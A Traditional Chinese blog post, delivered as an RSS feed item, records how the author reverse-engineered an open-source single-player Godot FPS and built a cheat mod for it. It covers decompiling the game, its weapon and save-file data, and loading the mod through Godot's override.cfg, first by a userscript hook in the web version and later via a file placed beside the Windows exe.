<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>siao.ai blog</title>
    <link>https://blog.siao.ai/</link>
    <atom:link href="https://blog.siao.ai/feed.xml" rel="self" type="application/rss+xml"/>
    <description>siao.ai blog</description>
    <language>zh-Hant</language>
    <lastBuildDate>Fri, 16 Oct 2026 00:00:00 GMT</lastBuildDate>
    <item>
      <title>廢棄城市 FPS 逆向與外掛 - 筆記歸檔</title>
      <link>https://blog.siao.ai/abandoned-city-fps-mod/</link>
      <guid isPermaLink="true">https://blog.siao.ai/abandoned-city-fps-mod/</guid>
      <pubDate>Fri, 16 Oct 2026 00:00:00 GMT</pubDate>
      <description>一款 Godot 4 FPS 的逆向與外掛紀錄。發行版 pck 用 GDRE Tools 反編譯後跟 GitHub 原始碼完全一致，沒有任何防護。外掛不改遊戲檔，只在 Godot 會讀的 override.cfg 把 GDScript 註冊成 autoload：網頁版時期用 Tampermonkey 在引擎啟動前塞進去，作者拿掉網頁版後改成寫在 Windows exe 旁邊。作者更新時由 server 自動反編譯、用發行版實測，對不上就交給 Claude 修。</description>
      <content:encoded><![CDATA[<h2 id="preface">Preface</h2>
<p>「廢棄城市（Abandoned City FPS）」是 <a href="/dungeon-reborn-userscript">DUNGEON REBORN</a> 同一位作者的新作，用 Godot 4.7.2 做的殭屍射擊遊戲，有 10 個關卡的殭屍模式和 12 人的單機大逃殺。原始碼公開在 <a href="https://github.com/a201009200979603117-create/abandoned-city-fps">GitHub</a>。一開始網頁版放在作者的 GitHub Pages；2026-10-17 作者推出 v2.0 後拿掉了網頁版（<code>8eeb89c</code>），現在只在 <a href="https://zfy-0920.itch.io/abandoned-city-fps">itch.io</a> 和 GitHub Releases 發行 Windows exe 與 Android APK。</p>
<p>結論先寫在前面：</p>
<ul>
<li>不管是當時的網頁版 <code>index.pck</code>，還是現在 Windows exe 內嵌的 pck，反編譯回來都跟 GitHub 原始碼一致。沒有加密、沒有混淆、沒有反作弊，也不連網驗證。</li>
<li>存檔是純文字的 Godot <code>ConfigFile</code>，沒有簽章。排行榜是遊戲自己用固定名單加亂數產生的。</li>
<li>外掛不改作者的任何檔案。Godot 啟動時會讀一份 <code>override.cfg</code> 覆寫專案設定，外掛就在這裡把自己登記成 autoload。網頁版時期由 Tampermonkey 在引擎啟動前把它塞進虛擬檔案系統；v2.0 起改成直接寫在 exe 旁邊。</li>
<li>作者每次發行新版，siao-server 會自動下載 exe、反編譯，跑 86 項 Godot 無頭測試，再照玩家的步驟把外掛裝到作者的 exe 上實測一次。對不上就把錯誤交給 Claude 修，修好才推出新版。</li>
</ul>
<p>外掛 repo：<a href="https://git.siao.ai/siao/abandoned-city-fps-mod">siao/abandoned-city-fps-mod</a>。安裝步驟：</p>
<ol>
<li>從 itch.io 或 GitHub Releases 下載遊戲 <code>AbandonedCityFPS-windows.exe</code>。</li>
<li>到外掛 repo 右上角登入（<a href="https://accounts.siao.ai">accounts.siao.ai</a> 免費註冊），按「程式碼」→「下載 ZIP」。要用 <code>git clone</code> 的話，同一個選單有 clone 網址和存取權杖。</li>
<li>解壓縮後雙擊 <code>windows\install.bat</code>。整個資料夾放在遊戲 exe 旁邊會自動找到遊戲，找不到時會跳出視窗讓你選。移除就雙擊 <code>windows\uninstall.bat</code>。</li>
</ol>
<p>外掛面板固定在遊戲畫面右上角，點標題列（或按 <code>`</code>、<code>F2</code>）收合、展開，各區塊也能個別收合，狀態會記住。遊戲進行中按 <code>`</code> 放出滑鼠來點面板，要回到遊戲就按 <code>Tab</code> 或點畫面空白處，滑鼠會鎖回去，面板保持原樣。</p>
<table tabindex="0">
<thead>
<tr>
<th>分類</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr>
<td>生存</td>
<td>無敵（含大逃殺安全區毒圈）、隱身（殭屍不追不打、AI 看不到也打不到）、生命上限倍率、回滿血</td>
</tr>
<tr>
<td>武器</td>
<td>無限彈藥免換彈、無後座力無擴散、一擊必殺、傷害倍率、射速倍率、每發彈丸數倍率、射程倍率、直接拿任一把槍、加任意數量備用子彈</td>
</tr>
<tr>
<td>移動與速度</td>
<td>移動速度倍率、跳躍倍率、飛行（空白鍵上升、Shift 下降）、遊戲速度</td>
</tr>
<tr>
<td>刷怪與補給</td>
<td>在身邊刷普通／跑者／坦克／吐酸殭屍／膨脹者／Boss／隨機（可指定數量與強度波次）、自動刷怪（間隔與場上上限可調）、新生成殭屍的血量與速度倍率、丟彈藥或醫療補給</td>
</tr>
<tr>
<td>殭屍模式</td>
<td>凍結所有殭屍、技能無冷卻、技能自動全滿並突破、清除場上殭屍、跳到下一波、直接過關</td>
</tr>
<tr>
<td>大逃殺</td>
<td>跳傘立即著陸、暫停縮圈、凍結所有 AI、生成更多 AI 對手、傳送到安全區中心、淘汰所有對手（含還在跳傘的，算你的擊殺）、立即打開空投</td>
</tr>
<tr>
<td>存檔</td>
<td>擊殺喪屍幣倍率、喪屍幣加任意數量或直接設定、解鎖全部關卡、解鎖全部槍枝皮膚、解鎖並穿上全部裝備（含只有空投才拿得到的傳說級）</td>
</tr>
</tbody>
</table>
<p>所有數值欄位都只有下限、沒有上限，可以直接輸入任意大的數字。遊戲中的熱鍵：<code>U</code> 無敵、<code>I</code> 回滿血、<code>K</code> 清怪／淘汰、<code>N</code> 下一波、<code>J</code> 刷怪、<code>O</code> 遊戲加速、<code>Y</code> 飛行、<code>L</code> 跳傘立即著陸。在數值欄打字時熱鍵不會觸發。v1.x 用的 <code>G</code>、<code>H</code>、<code>T</code> 在 v2.0 的大逃殺變成手榴彈、醫療包、護甲板，所以外掛改用 <code>U</code>、<code>I</code>、<code>O</code>。</p>
<h2 id="1-反編譯-pck-就是原始碼" class="phrased">（1）<wbr>反<wbr>編譯：<wbr>pck 就是<wbr>原始碼</h2>
<p>網頁版的檔案只有幾個：<code>index.html</code>、<code>index.js</code>（Godot 的載入器）、<code>index.wasm</code>（引擎，39 MB）和 <code>index.pck</code>（遊戲本體，約 1.7 MB）。遊戲邏輯全部在 pck 裡。</p>
<p>pck 標頭寫著格式版本和引擎版本 4.7.2。匯出設定 <code>script_export_mode=2</code>，代表 GDScript 是以二進位 token 形式存放，不是純文字。這不是加密，<a href="https://github.com/GDRETools/gdsdecomp">GDRE Tools</a> 可以還原：</p>
<pre tabindex="0"><code>gdre_tools --headless --recover=index.pck --output=out
Decompiled scripts:  24
Scripts not decompiled:  0
</code></pre>
<p>24 支腳本全部還原。把還原結果跟 GitHub 上的原始碼逐檔比對（去掉註解和空白），24 支裡 22 支完全相同，剩下兩支的差異只是格式：</p>
<ul>
<li>反編譯把 <code>0.40</code> 寫成 <code>0.4</code>；</li>
<li>多行字串改用三個引號。</li>
</ul>
<p>再拿 server 上的 Godot 4.7.2 編輯器，從 GitHub 原始碼直接匯出 pck，大小是 1709660 bytes，跟作者網頁版的 <code>index.pck</code> 一模一樣。所以這款遊戲目前不需要逆向：GitHub 上的原始碼就是線上跑的版本。</p>
<p>監看程式還是會每次反編譯、比對，因為 DUNGEON REBORN 就是在某一版之後才突然加上混淆。比對結果一旦不一致，就代表上線版本跟 GitHub 不同，這時反編譯結果才是唯一可信的來源。</p>
<p>v2.0 拿掉網頁版之後，比對對象換成 Windows exe。Godot 匯出的 exe 是「引擎 + 內嵌 pck」，GDRE Tools 可以直接吃 exe：</p>
<pre tabindex="0"><code>gdre_tools --headless --recover=AbandonedCityFPS-windows.exe --output=out
Decompiled scripts:  44
Scripts not decompiled:  0
</code></pre>
<p>v2.0 的腳本從 24 支增加到 44 支，同樣跟 GitHub 原始碼一致。</p>
<h2 id="2-遊戲結構與數值" class="phrased">（2）<wbr>遊戲<wbr>結構<wbr>與<wbr>數值</h2>
<p>三個 autoload 管全域狀態：<code>Game</code>（模式、關卡、分數、勝負）、<code>Save</code>（存檔、喪屍幣、裝備、抽獎）、<code>Sfx</code>（程式合成的音效）。主場景 <code>main.tscn</code> 底下有 <code>Player</code>、<code>EnemySpawner</code>、<code>Skills</code>、<code>BR</code>（大逃殺管理）和 <code>UI</code>。</p>
<table tabindex="0">
<thead>
<tr>
<th>武器</th>
<th>傷害</th>
<th>射擊間隔</th>
<th>彈匣／備彈</th>
<th>彈丸</th>
</tr>
</thead>
<tbody>
<tr>
<td>AR-47 <code>rifle</code></td>
<td>25</td>
<td>0.11</td>
<td>30／120</td>
<td>1</td>
</tr>
<tr>
<td>M9 <code>pistol</code></td>
<td>38</td>
<td>0.2</td>
<td>12／96</td>
<td>1</td>
</tr>
<tr>
<td>SG-12 <code>shotgun</code></td>
<td>15</td>
<td>0.85</td>
<td>6／42</td>
<td>8</td>
</tr>
<tr>
<td>MP-7 <code>smg</code></td>
<td>16</td>
<td>0.065</td>
<td>40／200</td>
<td>1</td>
</tr>
<tr>
<td>AWM <code>sniper</code></td>
<td>160</td>
<td>1.1</td>
<td>5／35</td>
<td>1</td>
</tr>
<tr>
<td>M60 <code>lmg</code></td>
<td>28</td>
<td>0.09</td>
<td>100／200</td>
<td>1</td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="理論每秒傷害（傷害 × 彈丸 ÷ 射擊間隔，不計換彈與距離衰減）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">200</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">400</text><rect x="56.3" y="113.095" width="55.4" height="116.905" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="85" y="107.095" text-anchor="middle" style="fill:var(--ink);font-size:11px">227</text><text x="85" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">AR-47</text><rect x="138.3" y="132.15" width="55.4" height="97.85" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="167" y="126.15" text-anchor="middle" style="fill:var(--ink);font-size:11px">190</text><text x="167" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">M9</text><rect x="220.3" y="157.385" width="55.4" height="72.61500000000001" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="249" y="151.385" text-anchor="middle" style="fill:var(--ink);font-size:11px">141</text><text x="249" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">SG-12</text><rect x="302.3" y="103.31" width="55.4" height="126.69" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:3"></rect><text x="331" y="97.31" text-anchor="middle" style="fill:var(--ink);font-size:11px">246</text><text x="331" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">MP-7</text><rect x="384.3" y="155.325" width="55.4" height="74.67500000000001" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:4"></rect><text x="413" y="149.325" text-anchor="middle" style="fill:var(--ink);font-size:11px">145</text><text x="413" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">AWM</text><rect x="466.3" y="69.83500000000001" width="55.4" height="160.165" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:5"></rect><text x="495" y="63.83500000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">311</text><text x="495" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">M60</text></svg><figcaption>理論每秒傷害（傷害 × 彈丸 ÷ 射擊間隔，不計換彈與距離衰減）</figcaption></figure>
<p>傷害公式是 <code>damage * damage_mult * equip_dmg * falloff</code>。超過射程一半後，<code>falloff</code> 從 1.0 線性降到 0.35。命中判定在客戶端用 <code>intersect_ray</code>，沒有爆頭判定。</p>
<p>殭屍有三種：<code>NORMAL</code>（血量 <code>60+15w</code>）、<code>RUNNER</code>（<code>35+8w</code>，第 2 波起出現）、<code>TANK</code>（<code>250+40w</code>，第 3 波起出現），<code>w</code> 是波次減 1。每一關再乘上關卡的血量倍率：</p>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="10 個關卡的殭屍血量倍率與波數" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">血量倍率 ×10</text><line x1="140" y1="10" x2="156" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="162" y="14" style="fill:var(--ink);font-size:11px">波數</text><line x1="44" y1="252" x2="536" y2="252" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="153" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">10</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">20</text><polyline points="44,159.3 98.66666666666666,149 153.33333333333331,143.85 208,138.7 262.66666666666663,128.4 317.3333333333333,123.25 372,112.94999999999999 426.66666666666663,97.5 481.3333333333333,76.9 536,46" class="chart-line" style="fill:none;stroke:var(--accent);stroke-width:2;--i:0"></polyline><circle cx="44" cy="159.3" r="3.5" class="chart-point" style="fill:var(--accent);--i:0"></circle><text x="44" y="149.3" text-anchor="middle" style="fill:var(--ink);font-size:11px">9</text><circle cx="98.66666666666666" cy="149" r="3.5" class="chart-point" style="fill:var(--accent);--i:1"></circle><text x="98.66666666666666" y="139" text-anchor="middle" style="fill:var(--ink);font-size:11px">10</text><circle cx="153.33333333333331" cy="143.85" r="3.5" class="chart-point" style="fill:var(--accent);--i:2"></circle><text x="153.33333333333331" y="133.85" text-anchor="middle" style="fill:var(--ink);font-size:11px">10.5</text><circle cx="208" cy="138.7" r="3.5" class="chart-point" style="fill:var(--accent);--i:3"></circle><text x="208" y="128.7" text-anchor="middle" style="fill:var(--ink);font-size:11px">11</text><circle cx="262.66666666666663" cy="128.4" r="3.5" class="chart-point" style="fill:var(--accent);--i:4"></circle><text x="262.66666666666663" y="118.4" text-anchor="middle" style="fill:var(--ink);font-size:11px">12</text><circle cx="317.3333333333333" cy="123.25" r="3.5" class="chart-point" style="fill:var(--accent);--i:5"></circle><text x="317.3333333333333" y="113.25" text-anchor="middle" style="fill:var(--ink);font-size:11px">12.5</text><circle cx="372" cy="112.94999999999999" r="3.5" class="chart-point" style="fill:var(--accent);--i:6"></circle><text x="372" y="102.94999999999999" text-anchor="middle" style="fill:var(--ink);font-size:11px">13.5</text><circle cx="426.66666666666663" cy="97.5" r="3.5" class="chart-point" style="fill:var(--accent);--i:7"></circle><text x="426.66666666666663" y="87.5" text-anchor="middle" style="fill:var(--ink);font-size:11px">15</text><circle cx="481.3333333333333" cy="76.9" r="3.5" class="chart-point" style="fill:var(--accent);--i:8"></circle><text x="481.3333333333333" y="66.9" text-anchor="middle" style="fill:var(--ink);font-size:11px">17</text><circle cx="536" cy="46" r="3.5" class="chart-point" style="fill:var(--accent);--i:9"></circle><text x="536" y="36" text-anchor="middle" style="fill:var(--ink);font-size:11px">20</text><polyline points="44,200.5 98.66666666666666,200.5 153.33333333333331,190.2 208,190.2 262.66666666666663,179.9 317.3333333333333,179.9 372,169.6 426.66666666666663,169.6 481.3333333333333,159.3 536,149" class="chart-line" style="fill:none;stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4;--i:1"></polyline><circle cx="44" cy="200.5" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:10"></circle><text x="44" y="214.5" text-anchor="middle" style="fill:var(--ink);font-size:11px">5</text><circle cx="98.66666666666666" cy="200.5" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:11"></circle><text x="98.66666666666666" y="214.5" text-anchor="middle" style="fill:var(--ink);font-size:11px">5</text><circle cx="153.33333333333331" cy="190.2" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:12"></circle><text x="153.33333333333331" y="204.2" text-anchor="middle" style="fill:var(--ink);font-size:11px">6</text><circle cx="208" cy="190.2" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:13"></circle><text x="208" y="204.2" text-anchor="middle" style="fill:var(--ink);font-size:11px">6</text><circle cx="262.66666666666663" cy="179.9" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:14"></circle><text x="262.66666666666663" y="193.9" text-anchor="middle" style="fill:var(--ink);font-size:11px">7</text><circle cx="317.3333333333333" cy="179.9" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:15"></circle><text x="317.3333333333333" y="193.9" text-anchor="middle" style="fill:var(--ink);font-size:11px">7</text><circle cx="372" cy="169.6" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:16"></circle><text x="372" y="183.6" text-anchor="middle" style="fill:var(--ink);font-size:11px">8</text><circle cx="426.66666666666663" cy="169.6" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:17"></circle><text x="426.66666666666663" y="183.6" text-anchor="middle" style="fill:var(--ink);font-size:11px">8</text><circle cx="481.3333333333333" cy="159.3" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:18"></circle><text x="481.3333333333333" y="173.3" text-anchor="middle" style="fill:var(--ink);font-size:11px">9</text><circle cx="536" cy="149" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:19"></circle><text x="536" y="163" text-anchor="middle" style="fill:var(--ink);font-size:11px">10</text><text x="44" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">1</text><text x="98.66666666666666" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">2</text><text x="153.33333333333331" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">3</text><text x="208" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">4</text><text x="262.66666666666663" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">5</text><text x="317.3333333333333" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">6</text><text x="372" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">7</text><text x="426.66666666666663" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">8</text><text x="481.3333333333333" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">9</text><text x="536" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">10</text></svg><figcaption>10 個關卡的殭屍血量倍率與波數</figcaption></figure>
<p>大逃殺是單機的，11 個對手都是 AI。安全區分 5 個階段縮小，圈外每秒扣血：</p>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="大逃殺安全區：半徑（公尺）與圈外每秒傷害" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">縮圈後半徑</text><line x1="119" y1="10" x2="135" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="141" y="14" style="fill:var(--ink);font-size:11px">圈外每秒傷害 ×10</text><line x1="44" y1="252" x2="536" y2="252" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="153" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">100</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">200</text><polyline points="44,179.9 167,205.65 290,225.22 413,239.64 536,247.88" class="chart-line" style="fill:none;stroke:var(--accent);stroke-width:2;--i:0"></polyline><circle cx="44" cy="179.9" r="3.5" class="chart-point" style="fill:var(--accent);--i:0"></circle><text x="44" y="169.9" text-anchor="middle" style="fill:var(--ink);font-size:11px">70</text><circle cx="167" cy="205.65" r="3.5" class="chart-point" style="fill:var(--accent);--i:1"></circle><text x="167" y="195.65" text-anchor="middle" style="fill:var(--ink);font-size:11px">45</text><circle cx="290" cy="225.22" r="3.5" class="chart-point" style="fill:var(--accent);--i:2"></circle><text x="290" y="215.22" text-anchor="middle" style="fill:var(--ink);font-size:11px">26</text><circle cx="413" cy="239.64" r="3.5" class="chart-point" style="fill:var(--accent);--i:3"></circle><text x="413" y="229.64" text-anchor="middle" style="fill:var(--ink);font-size:11px">12</text><circle cx="536" cy="247.88" r="3.5" class="chart-point" style="fill:var(--accent);--i:4"></circle><text x="536" y="237.88" text-anchor="middle" style="fill:var(--ink);font-size:11px">4</text><polyline points="44,236.55 167,226.25 290,210.8 413,179.9 536,138.7" class="chart-line" style="fill:none;stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4;--i:1"></polyline><circle cx="44" cy="236.55" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:5"></circle><text x="44" y="250.55" text-anchor="middle" style="fill:var(--ink);font-size:11px">15</text><circle cx="167" cy="226.25" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:6"></circle><text x="167" y="240.25" text-anchor="middle" style="fill:var(--ink);font-size:11px">25</text><circle cx="290" cy="210.8" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:7"></circle><text x="290" y="224.8" text-anchor="middle" style="fill:var(--ink);font-size:11px">40</text><circle cx="413" cy="179.9" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:8"></circle><text x="413" y="193.9" text-anchor="middle" style="fill:var(--ink);font-size:11px">70</text><circle cx="536" cy="138.7" r="3.5" class="chart-point" style="fill:var(--ink-dim);--i:9"></circle><text x="536" y="152.7" text-anchor="middle" style="fill:var(--ink);font-size:11px">110</text><text x="44" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">第 1 階段</text><text x="167" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">第 2 階段</text><text x="290" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">第 3 階段</text><text x="413" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">第 4 階段</text><text x="536" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">第 5 階段</text></svg><figcaption>大逃殺安全區：半徑（公尺）與圈外每秒傷害</figcaption></figure>
<p>剩自己一人時會降下空投，打開後從還沒擁有的稀有以上裝備抽一件，3.2 秒後結算勝利。</p>
<h2 id="3-存檔與防護" class="phrased">（3）<wbr>存檔<wbr>與<wbr>防護</h2>
<p>存檔在 <code>user://profile.cfg</code>，網頁版對應到瀏覽器的 IndexedDB。格式是 Godot 的 <code>ConfigFile</code>，就是 INI 風格的純文字，沒有雜湊或簽章：</p>
<ul>
<li><code>[profile]</code>：<code>coins</code>、<code>owned_skins</code>、<code>owned_equip</code>、<code>equipped</code>、<code>cleared_level</code>、<code>level_best</code>、大逃殺紀錄等；</li>
<li><code>[settings]</code>：音量、靈敏度、FOV、觸控模式。</li>
</ul>
<p>讀檔時會檢查裝備、皮膚是否存在且已擁有，但不檢查 <code>coins</code> 和 <code>cleared_level</code> 的範圍。排行榜 <code>Leaderboard.entries()</code> 用固定的 <code>NAMES</code> 和分數表加上每天的亂數抖動合成，不連任何伺服器。整個遊戲找不到 <code>HTTPRequest</code> 或 <code>WebSocket</code>。</p>
<p>所以這款遊戲沒有需要繞過的防線。外掛要解決的只有一件事：怎麼讓自己的程式碼跑進遊戲裡。</p>
<h2 id="4-外掛怎麼進到遊戲" class="phrased">（4）<wbr>外掛<wbr>怎麼<wbr>進到<wbr>遊戲</h2>
<p>v1.x 走網頁版，v2.0 起走 Windows exe，兩條路最後都落在同一個 Godot 機制：<code>override.cfg</code>。下面先講網頁版時期的做法，再講網頁版下架之後怎麼改。</p>
<h3 id="1-網頁版時期-瀏覽器的-js-碰不到遊戲" class="phrased">1. 網頁<wbr>版<wbr>時期：<wbr>瀏覽器<wbr>的 JS 碰<wbr>不到<wbr>遊戲</h3>
<p>DUNGEON REBORN 是純 JavaScript，外掛可以直接改遊戲物件。這款不行：遊戲邏輯是 GDScript，跑在 wasm 裡的 Godot 引擎中，<code>player.health</code> 這種變數只存在引擎的記憶體裡，頁面的 JS 看不到。</p>
<p>外掛只能用 GDScript 寫，再想辦法讓引擎載入它。Godot 的做法是 autoload：在專案設定的 <code>[autoload]</code> 區段登記一支腳本，引擎啟動時會把它建成全域節點，跟 <code>Game</code>、<code>Save</code> 一樣。外掛本體 <code>mod/cheat.gd</code> 就是這樣一個節點。</p>
<details><summary>第一版：重建整個 pck</summary><p>最直接的做法是把 <code>cheat.gd</code> 加進遊戲專案、在 <code>project.godot</code> 登記 autoload，用 Godot 無頭匯出新的 pck，使用者腳本再把遊戲要下載的 <code>index.pck</code> 換掉。</p><p>這條路走得通。匯出 pck 不需要 1.2 GB 的匯出模板，只要編輯器本身。使用者腳本先下載原版、算 SHA-256，跟 manifest 比對一致才換上外掛版，作者更新而外掛版還沒重建時就用原版啟動。Chromium 實測也通過了。</p><p>問題出在發布：使用者的瀏覽器要能下載外掛版 pck 和 manifest。git.siao.ai 對公網只放行逐一指定的路徑，每多開一個路徑都是一次公網曝光。改成下面的做法以後，只需要公開 <code>.user.js</code> 一個檔案。</p></details>
<h3 id="2-網頁版時期-在引擎啟動前放進檔案" class="phrased">2. 網頁<wbr>版<wbr>時期：<wbr>在<wbr>引擎<wbr>啟動<wbr>前<wbr>放進<wbr>檔案</h3>
<p>Godot 網頁版的啟動流程在 <code>index.js</code> 裡。頁面執行 <code>engine.startGame()</code>，它做兩件事：載入 wasm，以及用 <code>fetch</code> 下載 <code>index.pck</code> 放進預載清單。兩邊都好了，引擎才把預載清單裡的檔案寫進虛擬檔案系統，然後執行 <code>main</code>。</p>
<p><code>engine.preloadFile(buffer, path)</code> 是公開的 API，可以把任何資料排進同一份預載清單。Godot 啟動時，讀完主 pck 裡的 <code>project.binary</code> 之後，還會讀主 pck 同目錄的 <code>override.cfg</code>，用它覆寫專案設定。這是 Godot 給玩家改設定用的機制，<code>[autoload]</code> 也能寫在裡面。</p>
<p>所以外掛只要在預載清單裡多放兩個檔案：</p>
<table tabindex="0">
<thead>
<tr>
<th>檔案</th>
<th>內容</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>acmod/cheat.gd</code></td>
<td>外掛本體的 GDScript 原始碼</td>
</tr>
<tr>
<td><code>override.cfg</code></td>
<td><code>[autoload]</code> 底下一行 <code>Cheat="*/acmod/cheat.gd"</code></td>
</tr>
</tbody>
</table>
<p>匯出的遊戲照樣內建 GDScript 編譯器，純文字的 <code>.gd</code> 會在啟動時編譯。<code>cheat.gd</code> 裡用 <code>preload("res://scripts/data/weapon_db.gd")</code> 讀遊戲自己的資料表，也照常能用。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 214.00 560.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="外掛的載入順序">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 555.6)">

<polygon fill="none" stroke="none" points="-4,4 -4,-555.6 210.41,-555.6 210.41,4 -4,4"></polygon>

<g class="node">

<polygon fill="none" stroke="currentColor" points="187.27,-551.6 19.15,-551.6 19.15,-515.6 187.27,-515.6 187.27,-551.6"></polygon>
<text text-anchor="middle" x="103.21" y="-536.9" font-family="sans-serif" font-size="11.00">Tampermonkey（document-start）</text>
<text text-anchor="middle" x="103.21" y="-523.7" font-family="sans-serif" font-size="11.00">換掉 window.fetch</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="206.41,-479.6 0,-479.6 0,-443.6 206.41,-443.6 206.41,-479.6"></polygon>
<text text-anchor="middle" x="103.21" y="-464.9" font-family="sans-serif" font-size="11.00">index.html：const engine = new Engine(...)</text>
<text text-anchor="middle" x="103.21" y="-451.7" font-family="sans-serif" font-size="11.00">engine.startGame()</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M103.21,-515.3C103.21,-508.01 103.21,-499.33 103.21,-491.14"></path>
<polygon fill="currentColor" stroke="currentColor" points="106.71,-491.22 103.21,-481.22 99.71,-491.22 106.71,-491.22"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="165.64,-407.6 40.77,-407.6 40.77,-371.6 165.64,-371.6 165.64,-407.6"></polygon>
<text text-anchor="middle" x="103.21" y="-386.3" font-family="sans-serif" font-size="11.00">載入器 fetch("index.pck")</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M103.21,-443.3C103.21,-436.01 103.21,-427.33 103.21,-419.14"></path>
<polygon fill="currentColor" stroke="currentColor" points="106.71,-419.22 103.21,-409.22 99.71,-419.22 106.71,-419.22"></polygon>
</g>

<g class="node">

<polygon fill="#e8efe0" stroke="currentColor" points="182.67,-335.6 23.74,-335.6 23.74,-288 182.67,-288 182.67,-335.6"></polygon>
<text text-anchor="middle" x="103.21" y="-321.7" font-family="sans-serif" font-size="11.00">外掛的 fetch 攔到 index.pck</text>
<text text-anchor="middle" x="103.21" y="-308.5" font-family="sans-serif" font-size="11.00">engine.preloadFile(cheat.gd)</text>
<text text-anchor="middle" x="103.21" y="-295.3" font-family="sans-serif" font-size="11.00">engine.preloadFile(override.cfg)</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M103.21,-371.4C103.21,-364.27 103.21,-355.74 103.21,-347.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="106.71,-347.48 103.21,-337.48 99.71,-347.48 106.71,-347.48"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="167.12,-252 39.29,-252 39.29,-216 167.12,-216 167.12,-252"></polygon>
<text text-anchor="middle" x="103.21" y="-230.7" font-family="sans-serif" font-size="11.00">照常下載作者原版 index.pck</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M103.21,-287.65C103.21,-280.13 103.21,-271.69 103.21,-263.82"></path>
